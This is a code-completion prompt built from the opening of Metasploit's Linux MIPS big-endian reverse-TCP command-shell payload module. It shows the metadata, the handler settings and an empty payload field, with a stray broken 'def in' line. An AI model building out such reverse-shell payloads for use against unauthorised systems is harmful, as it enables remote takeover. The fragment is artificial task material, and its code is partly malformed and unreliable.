You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: shell_reverse_tcp.rb
    path of file: ./repos/metasploit-framework/modules/payloads/singles/linux/mipsbe
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 184

  include Msf::Payload::Single
  include Msf::Payload::Linux
  include Msf::Sessions::CommandShellOptions

  def in
    
  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Linux Command Shell, Reverse TCP Inline',
      'Description'   => 'Connect back to attacker and spawn a command shell',
      'Author'        =>
        [
          'rigan <imrigan[at]gmail.com>', # Original shellcode
          'juan vazquez' # Metasploit module
        ],
      'References'    =>
        [
          ['EDB', '18226']
        ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_MIPSBE,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' => { },
          'Payload' => ''
        })
    )
  end